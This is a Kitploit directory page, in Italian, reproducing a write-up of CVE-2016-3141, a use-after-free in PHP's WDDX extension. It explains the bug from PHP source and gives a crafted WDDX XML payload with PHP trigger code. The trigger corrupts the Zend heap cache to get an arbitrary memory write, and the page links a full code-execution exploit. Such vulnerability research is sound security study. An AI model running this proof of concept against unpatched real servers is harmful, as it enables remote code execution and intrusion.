Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2016-3141 — CVE-2016-3141 | Kitploit
Strumenti/GitHubGitHub/peternguyen93/cve-2016-3141
Memory ForensicsAnalisi delle VulnerabilitàAnalisi del CodiceExploitApprendimento e FormazioneBinary Exploitation
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

Vedi Repository
15410 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2016-3141

1. Dettaglio della vulnerabilità.

Una vulnerabilità use-after-free in wddx.c nell'estensione WDDX in PHP precedente alla 5.5.33 e 5.6.x precedente alla 5.6.19 consente ad attaccanti remoti di causare un denial of service (corruzione della memoria e crash dell'applicazione) o eventualmente avere altro impatto non specificato innescando una chiamata wddx_deserialize su dati XML contenenti un elemento var appositamente modificato.

2. Panoramica del bug.

Questo è un bug User-After-Free che si verifica quando wddx tenta di elaborare dati XML. Dai un'occhiata a questo codice nella funzione php_wddx_deserialize_ex. Quando wddx_deserialize($xml) riceve alcuni dati XML, php chiama questa funzione e imposta alcune funzioni per gestire i tag XML e i dati.

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

La funzione php_wddx_push_element crea una voce per un tag come puoi vedere in questo frammento. Ad esempio, se inserisci <string>Hello World</string>, quando viene rilevato il tag di apertura verrà chiamata php_wddx_push_element per creare una voce st_entry che memorizza informazioni su un tag. Diamo un'occhiata al frammento di codice qui sotto.

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME è una procedura definita sotto. Questa procedura controlla semplicemente stack->varname di un tag: se non è NULL, clona questo stack->varname e poi lo libera.

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

Il bug si verifica in php_wddx_pop_element. Quando xml chiude un tag var, libera varname di questo tag, e questo puntatore liberato viene ancora memorizzato in stack->varname. Ad esempio, se crei una var come <var name='UAF'></var>, php_wddx_push_element crea una struct che memorizza questo tag var; quando chiudi questo tag, lo libera ma dimentica di impostare stack->name = NULL o di decrementare stack->top. Dopodiché, se crei un altro tag come <string>, la funzione SET_STACK_VARNAME riutilizzerà questo puntatore liberato.

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. Lo sfruttamento

Quando ho visto per la prima volta questo bug, ho pensato: "non posso trasformare questo bug in esecuzione di codice?". Prima di tutto, devo capire come è implementato lo zend heap. Vediamo la funzione _zend_mm_alloc_int in zend_alloc.c qui sotto.

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

Se la dimensione del chunk malloc è piccola (meno di 256 byte), zend_alloc userà heap->cache, che è una lista di chunk liberi che memorizza molte piccole liste collegate di chunk liberi; questo heap->cache è come il fast_bin di malloc. Se in qualche modo possiamo sovrascrivere il puntatore best_fit->prev_free_block con un nostro indirizzo, poi zend_alloc di nuovo e possiamo usare quell'indirizzo per scrivere da qualche parte in memoria.

Per fare ciò, creerò il seguente XML wddx:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. Crea 32 byte (chunk_a) con il tag binary perché questo tag consente di inserire caratteri non stampabili.
  2. Crea un nome con la stessa dimensione del primo tag binary e fai sì che questo valore nome venga liberato (chunk_b).
  3. Crea un chunk di padding di 64 byte (chunk_c).
  4. Crea un nome di 8 byte e poi liberalo (chunk_d).
  5. Dopo aver deserializzato questo $xml, eseguo un ciclo foreach su questo oggetto; al primo ciclo $k ora punta a chunk_b che è liberato, $v ora punta a chunk_a. Uso l'operatore concat_function per sovrascrivere best_fit->prev_free_block con nostri dati.
  6. Uso il cast a stringa di php che chiama estrncpy per creare un nuovo chunk (chunk_e) che ora punta a chunk_b e fa sì che heap->cache[index] memorizzi il nostro valore.
  7. Ok, faccio di nuovo estrncpy($v,32) ($v=$binary_value); la prima zend_alloc di nuovo e abbiamo un crash $r12 = 0x4343434343. Se sostituiamo questo valore con un altro indirizzo, estrncpy sarà felice di chiamare memcpy(r12,v,size) e quindi possiamo sovrascrivere qualsiasi cosa vogliamo.

Crash

Puoi vedere il mio exploit completo qui peter_code_execute.php (Testato su Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14).

Alla fine, ho trasformato questo bug in esecuzione di codice con successo. Result

4. Riferimenti

http://www.cvedetails.com/cve/CVE-2016-3141/.

https://bugs.php.net/bug.php?id=71587.

Scarica lo strumento